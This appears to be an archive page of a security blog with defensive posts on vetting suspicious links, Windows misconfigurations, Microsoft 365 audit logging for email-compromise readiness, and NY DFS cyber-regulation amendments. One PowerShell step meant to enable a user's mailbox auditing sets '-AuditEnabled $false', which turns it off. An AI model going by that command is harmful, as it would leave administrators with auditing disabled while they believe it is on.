Author: Spencer Alessi

Categories
Computer & Network Security

How To Check A Sketchy Link Without Clicking It

Let’s say you’re working through your dozens of emails, responding to clients or customers or business partners and you come across this one email from your bank informing you that you need to reset your password. This email comes completely out of the blue and to top it off you don’t recognize the senders email address. Do you click it?

Maybe…maybe not.

Did you know that you can investigate if that link is sketchy or not without clicking on it?

When it comes to hyperlinks, sometime’s it’s really obvious it’s sketchy, but other times, in the case of look-a-like domains, it can actually be a bit tricky.

Here are a few things that make a link sketchy, when visibly looking at it.

  • Links that end in uncommon top level domains (TLD). Because the cost to purchase domains within these TLDs are pretty inexpensive, they are very frequently used for spamming and malicious activity. Aside from abc.xyz which is a web site owned by Google’s parent Alphabet I don’t know of any legit domains with these TLDs.

    • Commonly used for spamming/nefarious activity:
      • .xyz
      • .buzz
      • .live
      • .fit
      • .tk

  • Links that are knock-offs (known as look-a-like domains) of major brands. These are popular because the domain closely resembles that of real brands domains. Depending on how the URL looks in your browser and if you’re on a mobile device or on your computer, you may or may not be able to spot these very easily.

    • Examples:
      • netflix-mail[.]com
      • t-mogbile[.]com
      • googlre[.]com
      • secure-paypal.com.fraud.hmmmm[.]com

      Note, these domains may or may not be valid at the time of you reading this

  • Links that contain random numbers and/or letters. These are pretty obvious. Not all are malicious, however, anytime I see a url like this I immediatly get suspicious. It’s not a trustworthy link in my opinion and should be investigated further.

    • Examples:
      • eqbqcguiwcymao[.]info

There is definitely no shortage of URL and website scanners out there. I’ve tried dozens of them. None of them seem as good to me as URLscan. It’s fast, extremely detailed, provides a live screenshot and it allows you to link out to other scans to check them as well.

URLScan – https://urlscan.io

My go-to move with any sketchy links is to pop them into URLScan and see what comes up. To do that, just head on over to https://urlscan.io. Then just simply copy and paste the link you want to scan into the scan field. Once there you can also click Options and make your scan Private, which sometimes is nice to do, since Public scans will show up on the front page and in searches.

Now that you have your link pasted in, click Scan! Once URLScan is finished checking your link, doing it’s analysis and fingerprinting, it will bring you to a results page that looks something like this.

Note, this is an example results page of a known malicious site.

1. Live Screenshot. This allows you to visibly see if there might be anything weird going on with the site. This is good for sniffing out things like misspelled words on login pages.

2. Google Safe Browsing rating. This is a nice quick view of if the website is safe or potentially nefarious.

3. Lookup the URL with other scanners. The lookup tab allows you to pick any of a number of other website scanners. This can help you glean additional information about the site you’re scanning in case you’re still not sure about it. 


Browserling – https://www.browserling.com

Another great, free tool for investigating potentially malicious URLs and websites is browserling.com. This website allows you to enter in any URL and it will safely navigate to that website. You can then interact with that suspicious website just like you would in any other browser, but doing it this way is 100% safe. That’s because the browser is in a sandboxed environment and there’s no way for that malicious website to hurt your machine. With the free version you are limited to about 2 minutes, but that’s more than enough to do a quick peak at the website.

Caution when Clicking

It’s a bit cliche by now but, think before you click! It only takes a few minutes to pause, copy and paste the link into URLScan and check it out first before clicking.

If you’re at work and have an IT Department or Security Team, send it over to them and ask them to investigate it for you. It’s better to wait 10 minutes to get a link checked out than spend 10 weeks recovering from a security incident.

Additional Information

I did some googling on this topic and found some good articles related to suspcious and or malicious domains. The articles below go into much more detail on TLDs and their use for malicious or spammy activity. If you’re into the technical nitty gritty these would be great reads.

Categories
Computer & Network Security

Securing Windows: Common Misconfigurations That Give Attackers The Advantage

Introduction

In the ever-evolving landscape of cybersecurity, securing your Windows environment is paramount to safeguarding your organization and data. However, even with its built-in security features, Windows can fall victim to common misconfigurations that leave it susceptible to exploitation by determined attackers. In this article, we delve into some of the most common misconfigurations that threaten the security of your Windows systems. From non-unique passwords to inadequate endpoint protection and unrestricted PowerShell, we’ll shed light on the vulnerabilities that cybercriminals exploit to gain unauthorized access, elevate their privileges, move laterally, and take over entire networks.

Common Misconfigurations

To ensure Windows systems are hardened against attacks, it is crucial to be aware of the common misconfigurations that can inadvertently expose your environment to potential threats. In this section, we will explore the top misconfigurations that can compromise your system’s integrity and provide an open invitation to threat actors. Each misconfiguration represents a potential point of exploitation. By understanding these misconfigurations and taking proactive steps to address them, you can fortify your Windows security posture and thwart the advances of malicious adversaries. Let’s dive in and unravel these vulnerabilities to strengthen our defenses and ensure the safety of our organizations and data.

1. Non-Unique Local Admin Passwords

Meme: "Generic local admin What could possibly go wrong" - All Templates - Meme-arsenal.com

Using non-unique local admin passwords makes it easier for threat actors to gain unauthorized access and move laterally in your environment.

Using the same password for all the local admin accounts in the environment is a serious risk because of how easy it can be for threat actors to obtain the password and/or the password hash. The risk here is that if a threat actor is able to obtain the password (or even the password hash!), they can then use that to pivot to other machines in the network that are also using the same account and password. This can result in devastating effects, because if a threat actor compromises Sally in Accounting’s PC, obtains the password, and then uses that to pivot to the Accounting database server where all the PCI data is stored, now you have a very serious security incident on your hands.

  • Mitigation: The good news is that you can completely eliminate this risk by making all local administrative accounts have a unique password. What’s even better is you can do this for FREE with Windows LAPS. LAPS is really great, easy to implement, and is a great control if you currently don’t have anything similar in place. You can read more about that here: Windows LAPS overview

2. Lack of Patching 3rd Party Software

You said patching was complete Test determines that was a lie - Maury Povich Lie Detector Test | Make a Meme

Neglecting to promptly apply patches and updates to third-party software exposes your system to vulnerabilities that threat actors can exploit. These vulnerabilities are commonly used to execute arbitrary, malicious code that can allow a threat actor an initial foothold or elevate their privileges in your environment.

Third-party software is ripe for attack because threat actors realize it’s harder to patch than Microsoft Windows systems themselves. There’s more manual effort and additional tools required to ensure these software applications are kept up to date. A common example is when programs such as Adobe Reader are installed. Adobe can be configured to update automatically, but this can often be overlooked. This results in Adobe Reader (which is commonly exploited) going unpatched for months or years at a time.

  • Mitigation: The best way to mitigate this risk is to first develop an inventory of the software in your environment. Keep that inventory up to date, then implement a process to check that software for updates. Sometimes this is a manual effort, however, there are commercial tools that can be used to update these software applications. I don’t want to recommend commercial solutions in this blog post, but if you do a Google search for: “3rd party patch management software” you will find unlimited results. Do some research, demo the products, pick one, and get to patching.

3. Poor Firewall Configuration

Say firewall problem one more time - Meme - MemesHappen

Improperly configured firewalls create security gaps that allow unauthorized network connections and can compromise system integrity. This misconfiguration often arises from allowing unnecessary inbound and outbound connections or mismanaging firewall rules. Threat actors can exploit these openings allowing them to move laterally in the environment, download additional malicious payloads, and more.

Another common misconfiguration during security assessments and penetration tests is having the Windows firewall disabled. Doing so allows for unrestricted network communication both to/from the internet and to/from other devices on the network. Without a firewall in place, there’s not much that’s going to stop a threat actor from moving laterally in the environment if they can communicate with the device and have valid credentials.

  • Mitigation: Implement a hardened firewall configuration and manage it centrally. You can do this for free with Group Policy, or you can use commercial tools to assist in this. There really should be no reason that workstations and laptops, and servers need to have open multi-direction communication. The hard part here is mapping your network and determining which connections are required for things like remote management and support. However, doing so and implementing strong firewall configurations will pay huge dividends. Imagine if a threat actor does gain access to a workstation on the domain, but because of your hardened firewall configuration, they literally cannot go anywhere else in the environment, EVEN if they get another set of credentials. This talk by Jessica Payne is a wonderful example of how to configure the Windows Firewall to thwart attackers.

4. Insecurely Installed Software

 

Installing software from untrusted sources or failing to validate software integrity can introduce malware or compromise system integrity. However, that’s not the only risk here. Many times, software will install itself and configure unnecessary and overly permissive rights on the system.

A common example of this is when software installs to C:\Program Files\SuperCoolSoftware and at the end of the installation it configures the permissions on the SuperCoolSoftware folder such that “Everyone” is able to modify any file, folder, or subfolder within the SuperCoolSoftware directory. This hinders the integrity of not only the software but also the operating system itself. Many times, this is abused to elevate privileges or execute malicious code.

  • Mitigation: Regularly review your Windows endpoints for this misconfiguration by checking the permissions that are configured after the software has been installed or updated. This commonly affects the C:\Program Files and C:\Program Files (x86) folders, but this can pop up in many other places. You can use PowerShell’s Get-ACL cmdlet, icacls.exe in a cmd prompt, or even the Sysinternals tool AccessChk.

5. Weak Endpoint Protection

Weak endpoint protection, such as outdated antivirus software or disabled security features, exposes systems to various malware attacks and compromises. While this misconfiguration often arises from neglecting to update antivirus definitions, disabling real-time scanning, or using outdated security software versions. This is also a result of not using an enterprise-grade endpoint protection product.

The fact of the matter is that traditional antivirus is no longer acceptable or suitable for enterprise use. It’s trivial to bypass antivirus signatures and even heuristic detections. Due to the increased ease of obfuscation and the ability to eliminate known signatures in malicious payloads, antivirus alone is not enough.

  • Mitigation: Consider investing in a true endpoint protection product that goes beyond traditional signature-based detection. The advanced endpoint protection products on the market today can scan memory regions for malicious content and can scrutinize API calls that are commonly used by malware. Furthermore, these products have enhanced telemetry gathering capabilities, such that even if an alert does not immediately fire, an analyst can dig into the suspicious events and look deeper into what was potentially happening on a given system. Lastly, these endpoint protection products can orchestrate various security tasks, such as disconnecting the machine from the network so it cannot be used to infect other machines, isolating an attack.

6. Insecure Services & Tasks

Misconfigured or unnecessary services and tasks on Windows systems can provide threat actors with the ability to elevate their privileges or execute code as SYSTEM, which is an account that has some of the most permissions on a Windows system. There’s a variety of ways tasks and services can become misconfigured, and we talk a lot about those here: Hidden Danger: How To Identify and Mitigate Insecure…

This misconfiguration typically occurs as a result of insecurely installed software, which we discussed earlier in this article, and we often see it happen as a result of an error in configuration by IT admins. Many times services and tasks are configured to run with a domain account because the software that’s running the service needs domain permissions. More often than not, the domain accounts configured to run these services and tasks have elevated permissions in the domain, such as Domain Admin rights. If a threat actor is able to hijack the service/task then they could execute code or use it to elevate their privileges in the domain.

  • Mitigation: Review all tasks and services for insecure configurations such as unquoted paths, and insecure service binaries, and check the permissions of domain accounts that are used. Implement least privilege for domain accounts that are used in services and tasks to reduce the risk they present if abused. It’s also a good idea to monitor when services and tasks are modified, especially those that execute with elevated privileges.

7. Unrestricted PowerShell

Just a friendly reminder.... CMD != Powershell

Allowing unrestricted usage of PowerShell, a powerful scripting language and automation framework in Windows, can introduce significant security risks. This misconfiguration typically occurs when system administrators or users have unrestricted access to execute any PowerShell command or script. Threat actors can leverage this unrestricted access to execute malicious scripts, download and execute payloads, or perform unauthorized actions on the system.

There are numerous ways threat actors can abuse PowerShell for their nefarious deeds, such as using PowerShell version 2 to avoid logging and security measures such as Windows Antimalware Scanning Interface (AMSI). PowerShell is also commonly used by threat actors to download additional malware. This is commonly done using what’s called encoded commands, which are base64 encoded blobs that contain code to download and execute a secondary malicious payload. Despite strong security controls to prevent and detect PowerShell abuse, it’s still heavily utilized by threat actors, including ransomware groups.

  • Mitigation: The best defense against PowerShell abuse, like everything else, is layered controls. Eliminate PowerShell version 2 in your environment, then implement logging and monitoring. Start with ScriptBlock and Module logging, and make sure those logs make it to your SIEM or your MSP for monitoring and alerting. Many times, malicious PowerShell stands out like a sore thumb and can be a great way to detect an attack early on in the chain. Implementing Constrained Language Mode and Application Control can also be strong defenses against PowerShell abuse. Constrained Language Mode (CLM) can be used to restrict what cmdlets and elements of PowerShell can be used. Application Control can be used to limit which users have access to PowerShell.

Conclusion

While common misconfigurations can pose severe risks to Windows systems, the power to defend and protect your systems, networks, and data lies in your hands. By addressing these common misconfigurations you can proactively fortify your defenses. With a commitment to ongoing vigilance, education, and adopting a security-first mindset, you can confidently navigate the ever-changing cybersecurity landscape and empower yourself as a formidable defender of your Windows environment.

Resources

Categories
Computer & Network Security

How to Prepare Your Firm For a Business Email Compromise in Microsoft 365

This is part 1 of a 3 part series on preparing for, preventing, and responding to Business Email Compromise

Part 2 – Business Email Compromise Prevention and Mitigation

Part 3 – Coming Soon: Responding to Business Email Compromise

The BEC Problem

Since 2014, the FBI’s Internet Crime Complaint Center (IC3), has recorded over $6.2 Billion dollars in losses as a result of Business Email Compromise, with $1.8 Billion dollars in losses in 2020 alone. For perspective, 100 one dollar bills stacked together is about 1 inch high. Can you guess how high a billion dollars stacked together is? 10,000,000 inches or 83,3333 feet or 157 miles! For more perspective, the tallest mountain in the world is Mount Everest, with an elevation of just over 29,000 feet or about 5.4 miles.

Chances are good if you’re reading this you may have some idea of what Business Email Compromise (BEC), sometimes called Email Account Compromise (EAC), actually is. Perhaps, you’ve even fallen victim to this type of scam. For those that are less familiar, and very generally, BEC is a type of scam that targets businesses and individuals and, using a combination of simple but extremely effective techniques, convinces an employee to fraudulently transfer funds to a bank account the threat actor controls.

How to Prepare

The goal of this article is to help your Firm prepare for BEC scams in Microsoft 365.

“The time to have the map is before you enter the woods.” – Brendon Burchard

In this article, we identify three key components of Microsoft 365 that, if put in place prior to a BEC, are extremely helpful when the unfortunate circumstance, a BEC scam, arises. Now, this is by no means an exhaustive list, however, these are things we often see are lacking and/or missing during our Microsoft 365 Security Assessments as well when we begin log collection for BEC incident response cases.

Note, if you have not yet enabled and enforced Multifactor Authentication (MFA) for all users, we highly recommend doing that now. MFA is single handedly one of the most important things you can do to prevent BEC.

Quick Warning
Running scripts or code you copy from the internet or from articles like this is at your own risk. It’s always a good idea to review, test and make sure you know and understand what something is going to do before you run it, especially against a production tenant.

1. The Unified Audit Log (UAL)

The UAL records user and admin activity from your organization for a number of Microsoft products including Azure Active Directory, Exchange Online, SharePoint, OneDrive and more.

If you only take one thing away from this article, make sure it is this. Even though Microsoft documentation says that “Basic Audit is turned on by default for all organizations with an appropriate subscription” its one hundred percent a really good idea to verify this. We have seen it time and time again. We begin an investigation with log collection, only to find out the Unified Audit Log has not been enabled, leaving us with few artifacts that are helpful for BEC investigations.

The second piece of advice is to determine if the default retention period is enough for your Firm. By default, with Basic Audit, audit data is kept for only 90 days. You can extend this by subscribing to a subscription that comes with Advanced Audit. This is typically included with Microsoft’s E5 line or similar. With Advanced audit, you can retain audit logs for longer periods of time such as 1 year or 10 years. You also get access some additional, but very crucial, Mailbox Audit Log items we will discuss in the next section such as, MailItemsAccessed and Send. Oh and yes, unfortunately Microsoft is pay walling this absolutely critical audit log items behind their E5 subscriptions.

Verify that the Unified Audit Log is Enabled
The Unified Audit Log can be verified and enabled two different ways. With the Microsoft Admin console and with PowerShell. Chose the option that is most comfortable for you.

Using the Microsoft Admin Console

  1. Go to https://compliance.microsoft.com and sign in.
  2. In the left navigation pane of the Microsoft 365 compliance center, click Audit.
    1. If auditing is not turned on for your organization, a banner is displayed prompting you start recording user and admin activity.

3. Click the Start recording user and admin activity
4. It may take up to 60 minutes for the change to take effect.

Note, We created a PowerShell script to assist in identifying the Microsoft 365 components that are commonly missing. If you want to check that out and run it on your environment, see here: BEC-Preparation script. Use at your own risk.

Using PowerShell

  1. Launch PowerShell as an Administrator
  2. Run the commands:
    1. Install-Module ExchangeOnlineManagement
    2. Import-Module ExchangeOnlineManagement
    3. Connect-ExchangeOnline
    4. Get-AdminAuditLogConfig | FL UnifiedAuditLogIngestionEnabled
  3. If you see UnifiedAuditLogIngestionEnabled : True then the Unified Audit Log is enabled and you don’t need to do anything else.
  4. If you do not see a value of True, enable the Unified Audit Log with
    1. Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $true
  5. A message is displayed saying that it may take up to 60 minutes for the change to take effect.
2. Mailbox audit Logs (MAL)

The MAL records activity by mailbox owners, delegates, and admins for things such as when an item was created in the Calendar, when an item was deleted or moved, etc.

The second most important thing you can do related to your Microsoft 365 tenant is to make sure that Mailbox Audit Logging is enabled for all users. It is also pretty handy to have the MailboxLogin action enabled. More on that below. Now, according to Microsoft starting in January 2019 Microsoft was going to be turning on mailbox audit logging by default for all organizations, for all new mailboxes that were created.

Again, my recommendation is to verify that Mailbox Audit Logs are enabled for all of your users and add the MailboxLogin action to each user. The first step to doing that is to verify that the setting AuditDisabled is False. I know, pretty straightforward right. Then you want to check each user to ensure mailbox audit logs are being recorded for their account. Finally, consider enabling MailboxLogin for each user. This is helpful because it gives you a SessionId with which to track user logins with.

These setting can only be verified using PowerShell, sorry to those who prefer the GUI.

Note, We created a PowerShell script to assist in identifying the Microsoft 365 components that are commonly missing. If you want to check that out and run it on your environment, see here: BEC-Preparation script. Use at your own risk.

Verify that Mailbox Audit Logging is Enabled

  1. Launch PowerShell as an Administrator
  2. Run the commands:
    1. Install-Module ExchangeOnlineManagement
      1. Only if you have not already installed this module
    2. Import-Module ExchangeOnlineManagement
    3. Connect-ExchangeOnline
    4. Get-OrganizationConfig | Format-List AuditDisabled
  3. If you see AuditDisabled : False then “mailbox auditing on by default” is enabled for your organization. Which means you’re good to go, Microsoft is logging mailbox audit events for your tenant.
  4. If you do not see a value of False, enable “mailbox auditing on by default” with
    1. Set-OrganizationConfig -AuditDisabled $false

Verify All Users Have Mailbox Audit Logging Enabled

  1. Launch PowerShell as an Administrator
  2. Run the commands:
    1. Install-Module ExchangeOnlineManagement
      1. Only if you have not already installed this module
    2. Import-Module ExchangeOnlineManagement
    3. Connect-ExchangeOnline
    4. Get-EXOMailbox -ResultSize Unlimited -Filter “RecipientTypeDetails -eq ‘UserMailbox'” -Properties AuditEnabled | Select-Object Name,AuditEnabled | Export-Csv csv -NoTypeInformation
  3. Review the CSV file that was created. Any user who has a value of False in the AuditEnabled column should be reviewed.
  4. To enable mailbox audit logging for a user run
    1. Set-Mailbox -Identity “Ben Smith” -AuditEnabled $false
      1. Where “Ben Smith” is the name of the user you want to enable mailbox audit logging for

Add MailBoxLogin to Each User

This mailbox action shows you details related to users signing into their mailbox. This can be very helpful for correlating threat actor activity and for distinguishing “good” logins (your user) from “bad” logins (threat actors).

  1. Launch PowerShell as an Administrator
  2. Run the commands:
    1. Install-Module ExchangeOnlineManagement
      1. Only if you have not already installed this module
    2. Import-Module ExchangeOnlineManagement
    3. Connect-ExchangeOnline
    4. $usersWithMailbox = Get-EXOMailbox -ResultSize Unlimited -Filter “RecipientTypeDetails -eq ‘UserMailbox'” | Select-Object DisplayName
    5. $usersWithMailbox | ForEach-Object { Set-Mailbox -Identity $_.DisplayName -AuditOwner @{Add=”MailboxLogin”} }

Advanced Audit

Straight from Microsoft’s documentation, “Advanced Audit helps organizations to conduct forensic and compliance investigations by increasing audit log retention required to conduct an investigation, providing access to crucial events (by using Audit log search in the Microsoft 365 compliance center and the Microsoft 365 Management Activity API) that help determine scope of compromise, and faster access to Microsoft 365 Management Activity API.”

Advanced Audit, unfortunately, is reserved for only those organizations that have an E5 Microsoft subscription. The reason Advanced Audit is a prized commodity during BEC investigations is because Exchange, SharePoint and Azure Active Directory audit logs are stored for 1 year by default and you gain access to several advanced auditing mailbox actions that can really help understand what a threat actor did while accessing a user’s Microsoft account and mailbox. The really important ones are: MailItemsAccess, Send and SearchQueryInitiated.

While it is an increased cost, it’s recommended to at least evaluate the cost vs value of being able to retain logs for a longer period of time and the ability to access some advanced mailbox audit actions, should they be needed.

3. Azure Active Directory Audit & Sign-in Logs

Azure AD Audit & Sign-in Logs records information about sign-ins, how resources are used by users, and information about changes or updates applied to your tenant.

Azure Active Directory (AAD) is third on this list but is by no means the least important. Quite the opposite in fact. Azure Active Directory Sign-in and Audit logs can be vital to a BEC investigation. Why do you need the Azure logs and the Unified Audit Log? Well, that’s because only a subset of Azure log events are ingested into the unified audit log.

The main thing to check with AAD is that you are able to retain the sign-in and audit logs long enough to be able to assist with BEC investigations. If you have Azure AD Free, well, you only get 7 days of Audit and Sign-in logs. You would need to upgrade to Azure AD Premium P1 or P2 to be able to get 30 days of retention on those same logs.

Seven days is simply not long enough for most investigations and 30 days is really cutting it close depending on how quickly an incident is identified and investigated.

You should retain those audit and sign-in logs for longer than the default. There’s a number of ways to do that including using an Azure storage account combined with Azure Monitor, collect them manually by downloading the logs through the Azure Portal or you could even collect them with whatever you’re using for a SIEM. The bottom line is, preserve these logs, they are important, and they will be especially helpful during a BEC investigation.

That’s it for this section, no fancy PowerShell commands for this one. Well, unless you want to view information about your licensing plans, services and/or licenses.

Note, We created a PowerShell script to assist in identifying the Microsoft 365 components that are commonly missing. If you want to check that out and run it on your environment, see here: BEC-Preparation script. Use at your own risk.

  1. Launch PowerShell as an Administrator
  2. Run the commands:
    1. Install-Module AzureAD
    2. Import-Module AzureAD
    3. Connect-AzureAD
    4. Get-AzureADSubscribedSku | Select-Object -Property Sku*,ConsumedUnits -ExpandProperty PrepaidUnits | Format-Table
    5. Get-AzureADSubscribedSku | ForEach-Object {$_.ServicePlans}
  • SkuPartNumber: Shows the available licensing plans for your organization. For example, ENTERPRISEPACK is the license plan name for Office 365 Enterprise E3.
  • Enabled: Number of licenses that you’ve purchased for a specific licensing plan.
  • ConsumedUnits: Number of licenses that you’ve assigned to users from a specific licensing plan.

For more information about the products, features, and services that are available in different Microsoft 365 subscriptions, see Microsoft 365 Plan Options.

Summary (TLDR;)

TLDR = Too Long Didn’t Read. For those not in the know.

Business Email Compromise is really big (criminal) business. Billions of dollars annually big. These three steps outline the most common things we see being missed when performing assessments and incident response in Microsoft 365.

Step 1. Ensure the Unified Audit Log is Enabled. If it’s not, enable it now!

Step 2. Ensure Mailbox Audit Logging is enabled, for your tenant and for all users.

Step 3. Ensure you’re preserving Azure Active Directory Audit and Sign-in logs.

Optionally. Consider upgrading to get Advanced Audit and consider enabling the Mailbox Login action item for all users.

Note, We created a PowerShell script to assist in identifying the Microsoft 365 components that are commonly missing. If you want to check that out and run it on your environment, see here: BEC-Preparation script. Use at your own risk.

If you need any help with anything in Step 1, 2 or 3, read the associated sections. And if you’re in the unfortunate situation where your Firm has fallen victim to a Business Email Compromise, we are here to help.

Categories
Compliance

New NY DFS Cyber Regulation Proposed Amendments

On July 29th, 2022, The New York State Department of Financial Services (NY DFS) published pre-proposal amendments to their landmark Cybersecurity Regulation, 23 NYCRR 500. The “DFS Cyber reg” as it’s often referred to, was a first-in-the-nation when it was published in 2017 and has since been a model that’s been used in countless other regulations.

As much as there’s some disagreeable points in this reg, you can’t argue with the fact that it has and continues to raise the bar of Cybersecurity for the financial services industry. The proposed amendments are clearly designed to do the same, made evident by the fact that nearly every section has new or amended requirements.

Although it’s early on in the process, if only a small portion of the amendments make it to the final version, this updated regulation will no doubt impose significant new requirements on covered entities. This blog post is going to describe each of the changes, new requirements and definitions so you can begin to prepare and plan for what is inevitably to come.

Comment Period

According to the NY DFS, comments will be accepted through the NY DFS website until Monday August 8th. The NY DFS Executive Deputy Superintendent also stated on LinkedIn that, “This will not be the only opportunity to comment, as there will also be a full 60-day notice and comment period before the amendments are final.”

You can read the amendments in all its glory here: https://dfs.ny.gov/system/files/documents/2022/07/pre_proposed_draft_23nycrr500_amd2.pdf. When reading the amendments (linked above) keep in mind that additions are marked with underscores and items that are planned to be removed are marked in brackets.

New Applicability

Due to changes in the definition of “covered entity” there could be organizations that have to comply with the cyber reg that have not previously had to. The part highlighted below is new.

  • Covered entity means any person operating under or required to operate under a license, registration, charter, certificate, permit, accreditation or similar authorization under the Banking Law, the Insurance Law or the Financial Services Law, including entities that are also regulated by other government agencies.

Limited Exemptions

Covered entities that meet the following are excluded from the requirements of sections: 500.4, 500.5, 500.6, 500.8, 500.10, 500.12, 500.14, 500.15 and 500.16.

  • Fewer than 20 employees (up from 10) and includes employees, employees and independent contractors of the covered entities affiliates whose work is located in New York, and employees and independent contractors of the covered entities affiliates who are responsible for the business of the covered entity regardless of their location

  • Less than $15,000,000 in year-end total assets

Also newly exempt categories of companies are:

  • Reciprocal jurisdiction reinsurer that has been recognized pursuant to 11 NYCRR Part 125

  • Individual insurance agents who are deemed to be inactive under Insurance Law section 2103

  • Individual licensees placed in inactive status under Banking Law section 599-i

Effective Dates

Covered entities have 180 days from the effective date to comply with the new requirements, with several requirements having different transitional periods. Those are:

  • 500.17 – 30 days from the effective date to comply

  • 500.7(b), 500.12(c) and 500.14(b) – 1 year from the effective date to comply

Violations & Penalties

Section 500.20 is essentially all new and it describes what constitutes a violation of the regulation and how penalties for violations will be determined.

  • Violation – The commission of a single act prohibited by the reg or failure to act to satisfy an obligation of the reg. This includes failure to secure or prevent unauthorized access to nonpublic information due to non-compliance, or failure to comply with any section or subsection for any 24-hour period.

  • Penalties – When assessing a penalty for violation, the superintendent may take into account a wide array of information. There are 15 categories of items that may be taken into consideration such as: good faith of the covered entity, cooperation with the superintendent’s investigation, was the violation a result of a failure to remediate previously identified issues, the extent of harm to consumers, and much more.

New Requirements

As I stated above, nearly every section has amendments or new requirements. We’re going to step through each of the requirements and describe what’s new.

500.2 Cybersecurity Program

  • Independent audit – Class A companies (a new definition targeting larger organizations) are required to perform an independent audit of their cybersecurity programs at least annually, which can be done by an internal or external auditor so long as they are NOT influenced by the covered entity.

500.3 Cybersecurity policy

  • Cybersecurity policies – They must now be approved annually by the senior governing body, and they must now also address end of life management, remote access control, and vulnerability and patch management.

    • Senior governing body definition – the covered entity’s board of directors or equivalent governing body or, if neither of those exist, the senior officer of the covered entity responsible for the covered entity’s cybersecurity program.

500.4 Chief information security officer

  • CISO – The CISO must now have adequate independence and authority to ensure cybersecurity risks are appropriately managed.

  • The CISO Report – Must now be a written report and include plans for remediating inadequacies. The CISO must also timely report material cybersecurity issues, such as updates to the risk assessment or cyber events to the senior governing body.

  • Board of Directors – If the covered entity has a board, they (or an appropriate committee) must have knowledge and experience to oversee the cybersecurity program and they must require executive management to develop, implement and maintain the cybersecurity program.

500.5 Penetration Testing and Vulnerability Assessments

  • Annual penetration testing – Must now be performed by a qualified independent party

  • Regular vulnerability assessments – Must now be performed regularly. Class A companies must conduct scans or reviews at least weekly.

  • Reporting – Material gaps found in testing must be documented and reported to the senior governing body and senior management.

500.7 Access privileges and management (amended title)

  • User access – Must be restricted to those necessary to perform the user’s job.

  • Privileged accounts – (which now has a definition) Must be a limited number of them, they must be restricted to only functions needed to perform the user’s job, and they must only be used when elevated functions are required.

    • Privileged account definition – any authorized user or service account that can be used to: perform security-relevant functions that ordinary users are not authorized to perform or affect a material change to the technical or business operations of the covered entity.

  • Access reviews – Periodic review and removal of all unnecessary accounts.

  • Remote control protocols – Protocols that permit remote control of devices must be disabled or securely configured.

  • Strong passwords – The covered entity must ensure strong passwords are used.

  • Monitor privileged access – Class A companies must monitor privileged access activity, implement a password vaulting solution for privileged accounts, and use automated methods to block commonly used passwords.

500.8 Application Security

  • Documentation updates – Procedures, guidelines and standards must now be reviewed, assessed and updated at least annually.

500.9 Risk Assessment

  • Risk assessment – The definition is much more comprehensive than the current version of the reg. Also, the risk assessment must be updated annually or after any material change to the covered entities cyber risk. Class A companies must have a risk assessment performed by external experts at least once every three years. Lastly, the CISO must timely report changes in the risk assessment to the senior governing body (also a new definition).

  • Risk assessment definition – the process of identifying cybersecurity risks to organizational operations (including mission, functions, image, and reputation), organizational assets, individuals, customers, consumers, other organizations, and critical infrastructure resulting from the operation of an information system. Risk assessments shall take into account the specific circumstances of the covered entity, including but not limited to its size, staffing, governance, businesses, services, products, operations, customers, counterparties, service providers, vendors, other relations and their locations, as well as the geographies and locations of its operations and business relations. Risk assessments incorporate threat and vulnerability analyses, and consider mitigations provided by security controls planned or in place.

500.12 Multi-factor authentication

  • Remote access – The wording has been amended to say “Multi-factor authentication must be used for remote access to the network and enterprise and third-party applications from which nonpublic information is accessible.”

  • Multi-factor for priveleged accounts – MFA must now be used by all privileged accounts, except for accounts that prohibit interactive login and where the CISO has approved in writing the implementation of compensating controls that achieve a reasonably equivalent alternative.

500.13 Asset and data retention management (amended title)

  • Policies and procedures – the section requires written policies and procedures designed to ensure a complete, accurate, and documented asset inventory. It has to include all information systems and their components, and should also include infrastructure devices, APIs and cloud services.

    • The policies should at minimum address tracking key information for each asset such as: owner, location, classification or sensitivity, support expiration date, and recovery time requirements. The policies should also address the frequency required to update and validate the asset inventory.

500.14 Monitoring and training (amended title)

  • Email filtering – Emails must be filtered and monitored in order to to block malicious content.

  • Phishing – Cybersecurity awareness programs must include phishing training, exercises and simulations when appropriate.

  • EDR and SIEM – Class A companies must implement endpoint detection and response solution as well as centralized logging and security event alerting.

500.15 Protection of nonpublic information (amended title)

  • Encryption policy – An encryption policy is required that must meet industry standards.

  • Compensation controls – The possibility of using a compensation control has been removed for encryption in transit, however, it’s still an option for encryption at rest. The CISO must approve in writing, and it must be reviewed by the CISO at least annually.

500.16 Incident response plan

  • Incident plans – The incident plans must be written and contain proactive measures to mitigate disruptive events and ensure operational resilience, including but not limited to incident response, business continuity, and disaster recovery plans.

  • Incident Response Plan – The IR plan must now address ransomware incidents, recovering from backups and how the plan will be updated, as necessary.

  • Business Continuity and Disaster Recovery (BCDR) – This is an entirely new subsection and requirement in the proposed amended reg. This requirement is quite verbose, so we will save this for another blog post.

  • Plan dissemination, training and testing – The incident plans must be distributed to those who have responsibilities within the plans, there must be training for all relevant parties on the plans and their responsibilities. Lastly, IR and BCDR plans must be tested, as well as the ability to restore systems from backup.

  • Isolated backups – Covered entities must now have offline backups.

500.17 Notices to superintendent

  • Cybersecurity events – Notices of cybersecurity events must now be done electronically using the departments website. Two new events have been added to the list of reportable cybersecurity events: unauthorized access to a privileged account, or deployment of ransomware within a material part of the covered entity’s information system.

  • Compliance – Notice of compliance (certification) must be submitted electronically by April 15th. Compliance must be based on data and documentation sufficient to accurately determine and demonstrate such compliance.

  • Non-compliance – Notice of non-compliance (acknowledgement) must also be submitted by April 15th. It must include acknowledgement of non-compliance, the provisions that are not fully in compliance and the nature of non-compliance, and all areas, systems and processes that require material improvement, updating, or redesigning.

  • Sign off – The notice of compliance/non-compliance must be signed by the covered entities CEO and CISO or equivalent.

  • Maintenance of records – All documentation and data that supports the compliance/non-compliance notice must be preserved for the same 5 year period. In the case of non-compliance, thorough documentation must be maintained, and it must include remediation plans and a timeline of those plans.

  • Notice of extortion – Covered entities must now report when an extortion payment has been made in connection with a cybersecurity event. It must be reported electronically within 24 hours of the extortion payment. Within 30 days of the extortion payment a written description of the reasons, alternatives and all diligence performed must also be submitted.

Plan For Tomorrow, Today

There’s no doubt that even if a small portion of these amendments were to pass it would impose significant new requirements on covered entities cybersecurity programs. Regardless of what makes it to the final regulation, it pays to be prepared and plan ahead for what could potentially be a new requirement.

Categories
Compliance

NY DFS Cyber Regulation Proposed Amendments Target Ransomware Notification

